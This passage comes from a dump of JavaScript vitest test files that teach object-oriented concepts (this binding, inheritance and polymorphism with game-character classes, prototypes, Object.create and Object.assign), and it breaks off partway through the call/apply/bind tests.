})\n\n      it('should show regular methods lose this when extracted', () => {\n        class Counter {\n          count = 0\n\n          // Regular method - 'this' depends on call context\n          increment() {\n            this.count++\n            return this.count\n          }\n        }\n\n        const counter = new Counter()\n        expect(counter.increment()).toBe(1)\n\n        // Extract the method\n        const increment = counter.increment\n\n        // 'this' is undefined in strict mode when called standalone\n        expect(() => increment()).toThrow()\n      })\n    })\n\n    describe('Method Chaining', () => {\n      it('should support method chaining in class', () => {\n        class Builder {\n          constructor() {\n            this.result = {}\n          }\n\n          setName(name) {\n            this.result.name = name\n            return this\n          }\n\n          setAge(age) {\n            this.result.age = age\n            return this\n          }\n\n          build() {\n            return this.result\n          }\n        }\n\n        const person = new Builder().setName('Alice').setAge(25).build()\n\n        expect(person).toEqual({ name: 'Alice', age: 25 })\n      })\n\n      it('should support method chaining in factory', () => {\n        function createBuilder() {\n          const result = {}\n\n          return {\n            setName(name) {\n              result.name = name\n              return this\n            },\n            setAge(age) {\n              result.age = age\n              return this\n            },\n            build() {\n              return { ...result }\n            }\n          }\n        }\n\n        const person = createBuilder().setName('Bob').setAge(30).build()\n\n        expect(person).toEqual({ name: 'Bob', age: 30 })\n      })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/object-oriented/inheritance-polymorphism/inheritance-polymorphism.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Inheritance & Polymorphism', () => {\n  // ============================================================\n  // BASE CLASSES FOR TESTING\n  // ============================================================\n  \n  class Character {\n    constructor(name, health = 100) {\n      this.name = name\n      this.health = health\n    }\n    \n    introduce() {\n      return `I am ${this.name} with ${this.health} HP`\n    }\n    \n    attack() {\n      return `${this.name} attacks!`\n    }\n    \n    takeDamage(amount) {\n      this.health -= amount\n      return `${this.name} takes ${amount} damage! (${this.health} HP left)`\n    }\n    \n    get isAlive() {\n      return this.health > 0\n    }\n    \n    static createRandom() {\n      const names = ['Hero', 'Villain', 'Sidekick']\n      return new this(names[Math.floor(Math.random() * names.length)])\n    }\n  }\n  \n  class Warrior extends Character {\n    constructor(name) {\n      super(name, 150) // Warriors have more health\n      this.rage = 0\n      this.weapon = 'Sword'\n    }\n    \n    attack() {\n      return `${this.name} swings a mighty sword!`\n    }\n    \n    battleCry() {\n      this.rage += 10\n      return `${this.name} roars with fury! Rage: ${this.rage}`\n    }\n  }\n  \n  class Mage extends Character {\n    constructor(name) {\n      super(name, 80) // Mages have less health\n      this.mana = 100\n    }\n    \n    attack() {\n      return `${this.name} casts a fireball!`\n    }\n    \n    castSpell(spell) {\n      this.mana -= 10\n      return `${this.name} casts ${spell}!`\n    }\n  }\n  \n  class Archer extends Character {\n    constructor(name) {\n      super(name, 90)\n      this.arrows = 20\n    }\n    \n    attack() {\n      this.arrows--\n      return `${this.name} fires an arrow!`\n    }\n  }\n  \n  // ============================================================\n  // CLASS INHERITANCE WITH EXTENDS\n  // ============================================================\n  \n  describe('Class Inheritance with extends', () => {\n    it('should inherit properties from parent class', () => {\n      const warrior = new Warrior('Conan')\n      \n      // Inherited from Character\n      expect(warrior.name).toBe('Conan')\n      expect(warrior.health).toBe(150) // Custom value passed to super()\n      \n      // Unique to Warrior\n      expect(warrior.rage).toBe(0)\n      expect(warrior.weapon).toBe('Sword')\n    })\n    \n    it('should inherit methods from parent class', () => {\n      const warrior = new Warrior('Conan')\n      \n      // Inherited method works\n      expect(warrior.introduce()).toBe('I am Conan with 150 HP')\n      expect(warrior.takeDamage(20)).toBe('Conan takes 20 damage! (130 HP left)')\n    })\n    \n    it('should inherit getters from parent class', () => {\n      const warrior = new Warrior('Conan')\n      \n      expect(warrior.isAlive).toBe(true)\n      warrior.health = 0\n      expect(warrior.isAlive).toBe(false)\n    })\n    \n    it('should inherit static methods from parent class', () => {\n      const randomWarrior = Warrior.createRandom()\n      \n      expect(randomWarrior).toBeInstanceOf(Warrior)\n      expect(randomWarrior).toBeInstanceOf(Character)\n      expect(['Hero', 'Villain', 'Sidekick']).toContain(randomWarrior.name)\n    })\n    \n    it('should allow child classes to have unique methods', () => {\n      const warrior = new Warrior('Conan')\n      const mage = new Mage('Gandalf')\n      \n      // Warrior-specific method\n      expect(warrior.battleCry()).toBe('Conan roars with fury! Rage: 10')\n      expect(typeof mage.battleCry).toBe('undefined')\n      \n      // Mage-specific method\n      expect(mage.castSpell('Fireball')).toBe('Gandalf casts Fireball!')\n      expect(typeof warrior.castSpell).toBe('undefined')\n    })\n  })\n  \n  // ============================================================\n  // THE SUPER KEYWORD\n  // ============================================================\n  \n  describe('The super Keyword', () => {\n    it('super() should call parent constructor with arguments', () => {\n      const warrior = new Warrior('Conan')\n      \n      // super(name, 150) was called in Warrior constructor\n      expect(warrior.name).toBe('Conan')\n      expect(warrior.health).toBe(150)\n    })\n    \n    it('super.method() should call parent method', () => {\n      class ExtendedWarrior extends Character {\n        constructor(name) {\n          super(name, 150)\n          this.weapon = 'Axe'\n        }\n        \n        attack() {\n          const baseAttack = super.attack() // \"Name attacks!\"\n          return `${baseAttack} With an ${this.weapon}!`\n        }\n        \n        describe() {\n          return `${super.introduce()} - Warrior Class`\n        }\n      }\n      \n      const hero = new ExtendedWarrior('Gimli')\n      \n      expect(hero.attack()).toBe('Gimli attacks! With an Axe!')\n      expect(hero.describe()).toBe('I am Gimli with 150 HP - Warrior Class')\n    })\n    \n    it('should throw ReferenceError if super() is not called before this', () => {\n      // This would cause an error - we test the concept\n      expect(() => {\n        class BrokenWarrior extends Character {\n          constructor(name) {\n            // Intentionally not calling super() first\n            // this.rage = 0 // Would throw ReferenceError\n            super(name)\n          }\n        }\n        new BrokenWarrior('Test')\n      }).not.toThrow() // The fixed version doesn't throw\n    })\n  })\n  \n  // ============================================================\n  // METHOD OVERRIDING\n  // ============================================================\n  \n  describe('Method Overriding', () => {\n    it('should override parent method with child implementation', () => {\n      const character = new Character('Generic')\n      const warrior = new Warrior('Conan')\n      const mage = new Mage('Gandalf')\n      const archer = new Archer('Legolas')\n      \n      // Each class has different attack() implementation\n      expect(character.attack()).toBe('Generic attacks!')\n      expect(warrior.attack()).toBe('Conan swings a mighty sword!')\n      expect(mage.attack()).toBe('Gandalf casts a fireball!')\n      expect(archer.attack()).toBe('Legolas fires an arrow!')\n    })\n    \n    it('should allow extending parent behavior with super.method()', () => {\n      class VerboseWarrior extends Character {\n        attack() {\n          return `${super.attack()} POWERFULLY!`\n        }\n      }\n      \n      const hero = new VerboseWarrior('Hero')\n      expect(hero.attack()).toBe('Hero attacks! POWERFULLY!')\n    })\n    \n    it('should allow complete replacement of parent behavior', () => {\n      class SilentWarrior extends Character {\n        attack() {\n          return '...' // Completely different, no super.attack()\n        }\n      }\n      \n      const ninja = new SilentWarrior('Shadow')\n      expect(ninja.attack()).toBe('...')\n    })\n  })\n  \n  // ============================================================\n  // POLYMORPHISM\n  // ============================================================\n  \n  describe('Polymorphism', () => {\n    it('should treat different types uniformly through common interface', () => {\n      const party = [\n        new Warrior('Conan'),\n        new Mage('Gandalf'),\n        new Archer('Legolas'),\n        new Character('Villager')\n      ]\n      \n      // All can attack(), each in their own way\n      const attacks = party.map(char => char.attack())\n      \n      expect(attacks).toEqual([\n        'Conan swings a mighty sword!',\n        'Gandalf casts a fireball!',\n        'Legolas fires an arrow!',\n        'Villager attacks!'\n      ])\n    })\n    \n    it('should allow functions to work with any subtype', () => {\n      function executeBattle(characters) {\n        return characters.map(char => char.attack())\n      }\n      \n      const team1 = [new Warrior('W1'), new Warrior('W2')]\n      const team2 = [new Mage('M1'), new Archer('A1')]\n      const mixedTeam = [new Warrior('W'), new Mage('M'), new Archer('A')]\n      \n      // Same function works with any combination\n      expect(executeBattle(team1)).toHaveLength(2)\n      expect(executeBattle(team2)).toHaveLength(2)\n      expect(executeBattle(mixedTeam)).toHaveLength(3)\n    })\n    \n    it('instanceof should check entire prototype chain', () => {\n      const warrior = new Warrior('Conan')\n      \n      expect(warrior instanceof Warrior).toBe(true)\n      expect(warrior instanceof Character).toBe(true)\n      expect(warrior instanceof Object).toBe(true)\n      expect(warrior instanceof Mage).toBe(false)\n    })\n    \n    it('should enable the Open/Closed principle', () => {\n      // We can add new character types without changing existing code\n      class Healer extends Character {\n        attack() {\n          return `${this.name} heals the party!`\n        }\n      }\n      \n      // Existing function works with new type\n      function getAttacks(chars) {\n        return chars.map(c => c.attack())\n      }\n      \n      const team = [new Warrior('W'), new Healer('H')]\n      const attacks = getAttacks(team)\n      \n      expect(attacks).toContain('W swings a mighty sword!')\n      expect(attacks).toContain('H heals the party!')\n    })\n  })\n  \n  // ============================================================\n  // PROTOTYPE CHAIN (Under the Hood)\n  // ============================================================\n  \n  describe('Prototype Chain', () => {\n    it('should set up prototype chain correctly with extends', () => {\n      const warrior = new Warrior('Conan')\n      \n      // Instance -> Warrior.prototype -> Character.prototype -> Object.prototype\n      expect(Object.getPrototypeOf(warrior)).toBe(Warrior.prototype)\n      expect(Object.getPrototypeOf(Warrior.prototype)).toBe(Character.prototype)\n      expect(Object.getPrototypeOf(Character.prototype)).toBe(Object.prototype)\n    })\n    \n    it('should find methods by walking up the prototype chain', () => {\n      const warrior = new Warrior('Conan')\n      \n      // attack() is on Warrior.prototype (overridden)\n      expect(Warrior.prototype.hasOwnProperty('attack')).toBe(true)\n      \n      // introduce() is on Character.prototype (inherited)\n      expect(Warrior.prototype.hasOwnProperty('introduce')).toBe(false)\n      expect(Character.prototype.hasOwnProperty('introduce')).toBe(true)\n      \n      // Both work on the instance\n      expect(warrior.attack()).toContain('sword')\n      expect(warrior.introduce()).toContain('Conan')\n    })\n  })\n  \n  // ============================================================\n  // COMPOSITION PATTERN\n  // ============================================================\n  \n  describe('Composition Pattern', () => {\n    it('should compose behaviors instead of inheriting', () => {\n      // Behavior factories\n      const canFly = (state) => ({\n        fly() { return `${state.name} soars through the sky!` }\n      })\n      \n      const canCast = (state) => ({\n        castSpell(spell) { return `${state.name} casts ${spell}!` }\n      })\n      \n      const canFight = (state) => ({\n        attack() { return `${state.name} attacks!` }\n      })\n      \n      // Compose a flying mage\n      function createFlyingMage(name) {\n        const state = { name, health: 100, mana: 50 }\n        return {\n          ...state,\n          ...canFly(state),\n          ...canCast(state),\n          ...canFight(state)\n        }\n      }\n      \n      const merlin = createFlyingMage('Merlin')\n      \n      expect(merlin.fly()).toBe('Merlin soars through the sky!')\n      expect(merlin.castSpell('Ice')).toBe('Merlin casts Ice!')\n      expect(merlin.attack()).toBe('Merlin attacks!')\n      expect(merlin.health).toBe(100)\n      expect(merlin.mana).toBe(50)\n    })\n    \n    it('should allow mixing and matching behaviors freely', () => {\n      const canSwim = (state) => ({\n        swim() { return `${state.name} swims!` }\n      })\n      \n      const canFly = (state) => ({\n        fly() { return `${state.name} flies!` }\n      })\n      \n      // Duck can both swim and fly\n      function createDuck(name) {\n        const state = { name }\n        return { ...state, ...canSwim(state), ...canFly(state) }\n      }\n      \n      // Fish can only swim\n      function createFish(name) {\n        const state = { name }\n        return { ...state, ...canSwim(state) }\n      }\n      \n      const duck = createDuck('Donald')\n      const fish = createFish('Nemo')\n      \n      expect(duck.swim()).toBe('Donald swims!')\n      expect(duck.fly()).toBe('Donald flies!')\n      expect(fish.swim()).toBe('Nemo swims!')\n      expect(fish.fly).toBeUndefined()\n    })\n  })\n  \n  // ============================================================\n  // MIXINS\n  // ============================================================\n  \n  describe('Mixins', () => {\n    it('should mix behavior into class prototype with Object.assign', () => {\n      const Swimmer = {\n        swim() { return `${this.name} swims!` }\n      }\n      \n      const Flyer = {\n        fly() { return `${this.name} flies!` }\n      }\n      \n      class Animal {\n        constructor(name) {\n          this.name = name\n        }\n      }\n      \n      class Duck extends Animal {}\n      Object.assign(Duck.prototype, Swimmer, Flyer)\n      \n      const donald = new Duck('Donald')\n      \n      expect(donald.swim()).toBe('Donald swims!')\n      expect(donald.fly()).toBe('Donald flies!')\n    })\n    \n    it('should support functional mixin pattern', () => {\n      const withLogging = (Base) => class extends Base {\n        log(message) {\n          return `[${this.name}]: ${message}`\n        }\n      }\n      \n      const withTimestamp = (Base) => class extends Base {\n        getTimestamp() {\n          return '2024-01-15'\n        }\n      }\n      \n      class Character {\n        constructor(name) {\n          this.name = name\n        }\n      }\n      \n      // Stack mixins\n      class LoggedCharacter extends withTimestamp(withLogging(Character)) {\n        doAction() {\n          return this.log(`Action at ${this.getTimestamp()}`)\n        }\n      }\n      \n      const hero = new LoggedCharacter('Aragorn')\n      \n      expect(hero.log('Hello')).toBe('[Aragorn]: Hello')\n      expect(hero.getTimestamp()).toBe('2024-01-15')\n      expect(hero.doAction()).toBe('[Aragorn]: Action at 2024-01-15')\n    })\n    \n    it('should handle mixin name collisions (last one wins)', () => {\n      const MixinA = {\n        greet() { return 'Hello from A' }\n      }\n      \n      const MixinB = {\n        greet() { return 'Hello from B' }\n      }\n      \n      class Base {}\n      Object.assign(Base.prototype, MixinA, MixinB)\n      \n      const instance = new Base()\n      \n      // MixinB's greet() overwrites MixinA's\n      expect(instance.greet()).toBe('Hello from B')\n    })\n  })\n  \n  // ============================================================\n  // COMMON MISTAKES\n  // ============================================================\n  \n  describe('Common Mistakes', () => {\n    it('should demonstrate that inherited methods can be accidentally lost', () => {\n      class Parent {\n        method() { return 'parent' }\n      }\n      \n      class Child extends Parent {\n        method() { return 'child' } // Completely replaces parent\n      }\n      \n      const child = new Child()\n      expect(child.method()).toBe('child')\n      \n      // To preserve parent behavior, use super.method()\n      class BetterChild extends Parent {\n        method() { return `${super.method()} + child` }\n      }\n      \n      const betterChild = new BetterChild()\n      expect(betterChild.method()).toBe('parent + child')\n    })\n    \n    it('should show the problem with inheriting for code reuse only', () => {\n      // BAD: Stack is NOT an Array (violates IS-A)\n      // A Stack should only allow push/pop, not shift/unshift\n      class BadStack extends Array {\n        peek() { return this[this.length - 1] }\n      }\n      \n      const badStack = new BadStack()\n      badStack.push(1, 2, 3)\n      \n      // Problem: Array methods we DON'T want are available\n      expect(badStack.shift()).toBe(1) // Stacks shouldn't allow this!\n      \n      // GOOD: Composition - Stack HAS-A array\n      class GoodStack {\n        #items = []\n        \n        push(item) { this.#items.push(item) }\n        pop() { return this.#items.pop() }\n        peek() { return this.#items[this.#items.length - 1] }\n      }\n      \n      const goodStack = new GoodStack()\n      goodStack.push(1)\n      goodStack.push(2)\n      \n      expect(goodStack.peek()).toBe(2)\n      expect(typeof goodStack.shift).toBe('undefined') // Correctly unavailable\n    })\n  })\n  \n  // ============================================================\n  // SHAPE POLYMORPHISM (Interview Question Example)\n  // ============================================================\n  \n  describe('Shape Polymorphism (Interview Example)', () => {\n    class Shape {\n      area() { return 0 }\n    }\n    \n    class Rectangle extends Shape {\n      constructor(width, height) {\n        super()\n        this.width = width\n        this.height = height\n      }\n      area() { return this.width * this.height }\n    }\n    \n    class Circle extends Shape {\n      constructor(radius) {\n        super()\n        this.radius = radius\n      }\n      area() { return Math.PI * this.radius ** 2 }\n    }\n    \n    it('should calculate area differently for each shape type', () => {\n      const rectangle = new Rectangle(4, 5)\n      const circle = new Circle(3)\n      \n      expect(rectangle.area()).toBe(20)\n      expect(circle.area()).toBeCloseTo(28.274, 2) // Math.PI * 9\n    })\n    \n    it('should treat all shapes uniformly through common interface', () => {\n      const shapes = [new Rectangle(4, 5), new Circle(3), new Shape()]\n      const areas = shapes.map(s => s.area())\n      \n      expect(areas[0]).toBe(20)\n      expect(areas[1]).toBeCloseTo(28.274, 2)\n      expect(areas[2]).toBe(0) // Base shape\n    })\n    \n    it('should verify instanceof for shape hierarchy', () => {\n      const rect = new Rectangle(2, 3)\n      const circle = new Circle(5)\n      \n      expect(rect instanceof Rectangle).toBe(true)\n      expect(rect instanceof Shape).toBe(true)\n      expect(circle instanceof Circle).toBe(true)\n      expect(circle instanceof Shape).toBe(true)\n      expect(rect instanceof Circle).toBe(false)\n    })\n  })\n  \n  // ============================================================\n  // MULTI-LEVEL INHERITANCE\n  // ============================================================\n  \n  describe('Multi-level Inheritance', () => {\n    it('should support multi-level inheritance (keep shallow!)', () => {\n      class Entity {\n        constructor(id) {\n          this.id = id\n        }\n      }\n      \n      class Character extends Entity {\n        constructor(id, name) {\n          super(id)\n          this.name = name\n        }\n      }\n      \n      class Warrior extends Character {\n        constructor(id, name) {\n          super(id, name)\n          this.class = 'Warrior'\n        }\n      }\n      \n      const hero = new Warrior(1, 'Conan')\n      \n      expect(hero.id).toBe(1)\n      expect(hero.name).toBe('Conan')\n      expect(hero.class).toBe('Warrior')\n      \n      expect(hero instanceof Warrior).toBe(true)\n      expect(hero instanceof Character).toBe(true)\n      expect(hero instanceof Entity).toBe(true)\n    })\n    \n    it('should call super() chain correctly', () => {\n      const calls = []\n      \n      class A {\n        constructor() {\n          calls.push('A')\n        }\n      }\n      \n      class B extends A {\n        constructor() {\n          super()\n          calls.push('B')\n        }\n      }\n      \n      class C extends B {\n        constructor() {\n          super()\n          calls.push('C')\n        }\n      }\n      \n      new C()\n      \n      // Constructors called from parent to child\n      expect(calls).toEqual(['A', 'B', 'C'])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/object-oriented/object-creation-prototypes/object-creation-prototypes.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Object Creation & Prototypes', () => {\n  describe('Opening Hook - Inherited Methods', () => {\n    it('should have inherited methods from Object.prototype', () => {\n      // You create a simple object\n      const player = { name: 'Alice', health: 100 }\n\n      // But it has methods you never defined!\n      expect(typeof player.toString).toBe('function')\n      expect(player.toString()).toBe('[object Object]')\n      expect(player.hasOwnProperty('name')).toBe(true)\n\n      // Where do these come from?\n      expect(Object.getPrototypeOf(player)).toBe(Object.prototype)\n    })\n  })\n\n  describe('Prototype Chain', () => {\n    it('should look up properties through the prototype chain', () => {\n      const grandparent = { familyName: 'Smith' }\n      const parent = Object.create(grandparent)\n      parent.job = 'Engineer'\n      const child = Object.create(parent)\n      child.name = 'Alice'\n\n      // Property lookup walks the chain\n      expect(child.name).toBe('Alice') // found on child\n      expect(child.job).toBe('Engineer') // found on parent\n      expect(child.familyName).toBe('Smith') // found on grandparent\n    })\n\n    it('should inherit methods from prototype (wizard/apprentice example)', () => {\n      // Create a simple object\n      const wizard = {\n        name: 'Gandalf',\n        castSpell() {\n          return `${this.name} casts a spell!`\n        }\n      }\n\n      // Create another object that inherits from wizard\n      const apprentice = Object.create(wizard)\n      apprentice.name = 'Harry'\n\n      // apprentice has its own 'name' property\n      expect(apprentice.name).toBe('Harry')\n\n      // But castSpell comes from the prototype (wizard)\n      expect(apprentice.castSpell()).toBe('Harry casts a spell!')\n\n      // The prototype chain:\n      // apprentice → wizard → Object.prototype → null\n      expect(Object.getPrototypeOf(apprentice)).toBe(wizard)\n      expect(Object.getPrototypeOf(wizard)).toBe(Object.prototype)\n      expect(Object.getPrototypeOf(Object.prototype)).toBeNull()\n    })\n\n    it('should return undefined when property is not found in chain', () => {\n      const obj = { name: 'test' }\n      expect(obj.nonexistent).toBeUndefined()\n    })\n\n    it('should end the chain at null', () => {\n      const obj = {}\n      expect(Object.getPrototypeOf(Object.prototype)).toBeNull()\n    })\n\n    it('should shadow inherited properties when set on object', () => {\n      const prototype = { greeting: 'Hello', count: 0 }\n      const obj = Object.create(prototype)\n\n      // Before shadowing\n      expect(obj.greeting).toBe('Hello')\n\n      // Shadow the property\n      obj.greeting = 'Hi'\n\n      // obj has its own property now\n      expect(obj.greeting).toBe('Hi')\n      // Prototype is unchanged\n      expect(prototype.greeting).toBe('Hello')\n      expect(obj.hasOwnProperty('greeting')).toBe(true)\n    })\n  })\n\n  describe('[[Prototype]], __proto__, and .prototype', () => {\n    it('should have Object.prototype as prototype for plain objects', () => {\n      const obj = {}\n      expect(Object.getPrototypeOf(obj)).toBe(Object.prototype)\n    })\n\n    it('should have .prototype property only on functions', () => {\n      function Player(name) {\n        this.name = name\n      }\n      const alice = new Player('Alice')\n\n      // Functions have .prototype\n      expect(Player.prototype).toBeDefined()\n      expect(typeof Player.prototype).toBe('object')\n\n      // Instances don't have .prototype\n      expect(alice.prototype).toBeUndefined()\n\n      // Instance's [[Prototype]] is the constructor's .prototype\n      expect(Object.getPrototypeOf(alice)).toBe(Player.prototype)\n    })\n  })\n\n  describe('Object Literals', () => {\n    it('should have Object.prototype as prototype', () => {\n      // Object literal — prototype is automatically Object.prototype\n      const player = {\n        name: 'Alice',\n        health: 100,\n        attack() {\n          return `${this.name} attacks!`\n        }\n      }\n\n      expect(Object.getPrototypeOf(player)).toBe(Object.prototype)\n      expect(player.attack()).toBe('Alice attacks!')\n    })\n  })\n\n  describe('Object.create()', () => {\n    it('should create object with specified prototype', () => {\n      const animalProto = {\n        speak() {\n          return `${this.name} makes a sound.`\n        }\n      }\n\n      const dog = Object.create(animalProto)\n      dog.name = 'Rex'\n\n      expect(Object.getPrototypeOf(dog)).toBe(animalProto)\n      expect(dog.speak()).toBe('Rex makes a sound.')\n    })\n\n    it('should create object with null prototype', () => {\n      const dict = Object.create(null)\n\n      // No inherited properties\n      expect(dict.toString).toBeUndefined()\n      expect(dict.hasOwnProperty).toBeUndefined()\n      expect(Object.getPrototypeOf(dict)).toBeNull()\n\n      // Can use any key without collision\n      dict['hasOwnProperty'] = 'safe!'\n      expect(dict['hasOwnProperty']).toBe('safe!')\n    })\n\n    it('should create object with property descriptors', () => {\n      const person = Object.create(Object.prototype, {\n        name: {\n          value: 'Alice',\n          writable: true,\n          enumerable: true,\n          configurable: true\n        },\n        age: {\n          value: 30,\n          writable: false,\n          enumerable: true,\n          configurable: false\n        }\n      })\n\n      expect(person.name).toBe('Alice')\n      expect(person.age).toBe(30)\n\n      // Can modify writable property\n      person.name = 'Bob'\n      expect(person.name).toBe('Bob')\n\n      // Cannot modify non-writable property (throws in strict mode)\n      expect(() => {\n        person.age = 25\n      }).toThrow(TypeError)\n      expect(person.age).toBe(30) // unchanged\n    })\n  })\n\n  describe('new operator', () => {\n    it('should create object with correct prototype', () => {\n      function Player(name) {\n        this.name = name\n      }\n      Player.prototype.greet = function () {\n        return `Hello, ${this.name}!`\n      }\n\n      const alice = new Player('Alice')\n\n      expect(Object.getPrototypeOf(alice)).toBe(Player.prototype)\n      expect(alice.greet()).toBe('Hello, Alice!')\n    })\n\n    it('should bind this to the new object', () => {\n      function Counter() {\n        this.count = 0\n        this.increment = function () {\n          this.count++\n        }\n      }\n\n      const counter = new Counter()\n      expect(counter.count).toBe(0)\n      counter.increment()\n      expect(counter.count).toBe(1)\n    })\n\n    it('should return the object unless constructor returns an object', () => {\n      function ReturnsNothing(name) {\n        this.name = name\n        // Implicitly returns the new object\n      }\n\n      function ReturnsPrimitive(name) {\n        this.name = name\n        return 42 // Primitive is ignored\n      }\n\n      function ReturnsObject(name) {\n        this.name = name\n        return { different: true } // Object is returned instead\n      }\n\n      const obj1 = new ReturnsNothing('test')\n      expect(obj1.name).toBe('test')\n\n      const obj2 = new ReturnsPrimitive('test')\n      expect(obj2.name).toBe('test') // Primitive return ignored\n\n      const obj3 = new ReturnsObject('test')\n      expect(obj3.different).toBe(true)\n      expect(obj3.name).toBeUndefined() // Original object not returned\n    })\n\n    it('can be simulated with Object.create and apply', () => {\n      function myNew(Constructor, ...args) {\n        const obj = Object.create(Constructor.prototype)\n        const result = Constructor.apply(obj, args)\n        return result !== null && typeof result === 'object' ? result : obj\n      }\n\n      function Player(name, health) {\n        this.name = name\n        this.health = health\n      }\n      Player.prototype.attack = function () {\n        return `${this.name} attacks!`\n      }\n\n      const player1 = new Player('Alice', 100)\n      const player2 = myNew(Player, 'Bob', 100)\n\n      expect(player1.name).toBe('Alice')\n      expect(player2.name).toBe('Bob')\n      expect(player1.attack()).toBe('Alice attacks!')\n      expect(player2.attack()).toBe('Bob attacks!')\n      expect(player1 instanceof Player).toBe(true)\n      expect(player2 instanceof Player).toBe(true)\n    })\n  })\n\n  describe('Object.assign()', () => {\n    it('should copy enumerable own properties', () => {\n      const target = { a: 1 }\n      const source = { b: 2, c: 3 }\n\n      const result = Object.assign(target, source)\n\n      expect(result).toEqual({ a: 1, b: 2, c: 3 })\n      expect(result).toBe(target) // Returns the target\n    })\n\n    it('should merge multiple objects (later sources overwrite)', () => {\n      const defaults = { theme: 'light', fontSize: 14 }\n      const userPrefs = { theme: 'dark' }\n      const session = { fontSize: 18 }\n\n      const settings = Object.assign({}, defaults, userPrefs, session)\n\n      expect(settings.theme).toBe('dark')\n      expect(settings.fontSize).toBe(18)\n    })\n\n    it('should perform shallow copy only', () => {\n      const original = {\n        name: 'Alice',\n        scores: [90, 85]\n      }\n\n      const clone = Object.assign({}, original)\n\n      // Primitive is copied by value\n      clone.name = 'Bob'\n      expect(original.name).toBe('Alice')\n\n      // Array is copied by reference\n      clone.scores.push(100)\n      expect(original.scores).toEqual([90, 85, 100]) // Modified!\n    })\n\n    it('should not copy inherited or non-enumerable properties', () => {\n      const proto = { inherited: 'from prototype' }\n      const source = Object.create(proto)\n      source.own = 'my own property'\n\n      Object.defineProperty(source, 'hidden', {\n        value: 'non-enumerable',\n        enumerable: false\n      })\n\n      const target = {}\n      Object.assign(target, source)\n\n      expect(target.own).toBe('my own property')\n      expect(target.inherited).toBeUndefined() // Not copied\n      expect(target.hidden).toBeUndefined() // Not copied\n    })\n  })\n\n  describe('Prototype inspection', () => {\n    it('Object.getPrototypeOf should return the prototype', () => {\n      const proto = { test: true }\n      const obj = Object.create(proto)\n\n      expect(Object.getPrototypeOf(obj)).toBe(proto)\n    })\n\n    it('Object.setPrototypeOf should change the prototype', () => {\n      const swimmer = { swim: () => 'swimming' }\n      const flyer = { fly: () => 'flying' }\n\n      const duck = { name: 'Donald' }\n      Object.setPrototypeOf(duck, swimmer)\n\n      expect(duck.swim()).toBe('swimming')\n\n      Object.setPrototypeOf(duck, flyer)\n      expect(duck.fly()).toBe('flying')\n      expect(duck.swim).toBeUndefined()\n    })\n\n    it('instanceof should check the prototype chain', () => {\n      function Animal(name) {\n        this.name = name\n      }\n      function Dog(name) {\n        Animal.call(this, name)\n      }\n      Dog.prototype = Object.create(Animal.prototype)\n      Dog.prototype.constructor = Dog\n\n      const rex = new Dog('Rex')\n\n      expect(rex instanceof Dog).toBe(true)\n      expect(rex instanceof Animal).toBe(true)\n      expect(rex instanceof Object).toBe(true)\n      expect(rex instanceof Array).toBe(false)\n    })\n\n    it('isPrototypeOf should check if object is in prototype chain', () => {\n      const animal = { eats: true }\n      const dog = Object.create(animal)\n\n      expect(animal.isPrototypeOf(dog)).toBe(true)\n      expect(Object.prototype.isPrototypeOf(dog)).toBe(true)\n      expect(Array.prototype.isPrototypeOf(dog)).toBe(false)\n    })\n  })\n\n  describe('Common prototype methods', () => {\n    it('hasOwnProperty should check only own properties', () => {\n      const proto = { inherited: true }\n      const obj = Object.create(proto)\n      obj.own = true\n\n      expect(obj.hasOwnProperty('own')).toBe(true)\n      expect(obj.hasOwnProperty('inherited')).toBe(false)\n\n      // 'in' checks the whole chain\n      expect('own' in obj).toBe(true)\n      expect('inherited' in obj).toBe(true)\n    })\n\n    it('Object.keys should return only own enumerable properties', () => {\n      const proto = { inherited: 'value' }\n      const obj = Object.create(proto)\n      obj.own1 = 'a'\n      obj.own2 = 'b'\n\n      expect(Object.keys(obj)).toEqual(['own1', 'own2'])\n      expect(Object.keys(obj)).not.toContain('inherited')\n    })\n\n    it('Object.getOwnPropertyNames should return all own properties', () => {\n      const obj = { visible: true }\n      Object.defineProperty(obj, 'hidden', {\n        value: 'secret',\n        enumerable: false\n      })\n\n      expect(Object.keys(obj)).toEqual(['visible'])\n      expect(Object.getOwnPropertyNames(obj)).toEqual(['visible', 'hidden'])\n    })\n  })\n\n  describe('Common mistakes', () => {\n    it('should not share reference types on prototype', () => {\n      // Wrong way - array on prototype is shared\n      function BadPlayer(name) {\n        this.name = name\n      }\n      BadPlayer.prototype.inventory = []\n\n      const alice = new BadPlayer('Alice')\n      const bob = new BadPlayer('Bob')\n\n      alice.inventory.push('sword')\n      expect(bob.inventory).toContain('sword') // Bob has Alice's sword!\n\n      // Correct way - array in constructor\n      function GoodPlayer(name) {\n        this.name = name\n        this.inventory = []\n      }\n\n      const charlie = new GoodPlayer('Charlie')\n      const dave = new GoodPlayer('Dave')\n\n      charlie.inventory.push('shield')\n      expect(dave.inventory).not.toContain('shield') // Dave's inventory is separate\n    })\n  })\n})\n"
  },
  {
    "path": "tests/object-oriented/this-call-apply-bind/this-call-apply-bind.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('this, call, apply and bind', () => {\n  \n  describe('Documentation Examples', () => {\n    describe('Introduction: The Pronoun I Analogy', () => {\n      it('should demonstrate this referring to different objects', () => {\n        const alice = {\n          name: \"Alice\",\n          introduce() {\n            return \"I am \" + this.name\n          }\n        }\n\n        const bob = {\n          name: \"Bob\",\n          introduce() {\n            return \"I am \" + this.name\n          }\n        }\n\n        expect(alice.introduce()).toBe(\"I am Alice\")\n        expect(bob.introduce()).toBe(\"I am Bob\")\n      })\n\n      it('should allow borrowing methods with call (ventriloquist analogy)', () => {\n        const alice = { name: \"Alice\" }\n        const bob = {\n          name: \"Bob\",\n          introduce() {\n            return \"I am \" + this.name\n          }\n        }\n\n        // Alice borrows Bob's voice\n        expect(bob.introduce.call(alice)).toBe(\"I am Alice\")\n      })\n    })\n\n    describe('Dynamic Binding: Call-Time Determination', () => {\n      it('should have different this values depending on how function is called', () => {\n        function showThis() {\n          return this\n        }\n\n        const obj = { showThis }\n\n        // Plain call - default binding (undefined in strict mode)\n        expect(showThis()).toBeUndefined()\n        \n        // Method call - implicit binding\n        expect(obj.showThis()).toBe(obj)\n        \n        // Explicit binding\n        const customObj = { name: 'custom' }\n        expect(showThis.call(customObj)).toBe(customObj)\n      })\n\n      it('should allow one function to work with many objects', () => {\n        function greet() {\n          return 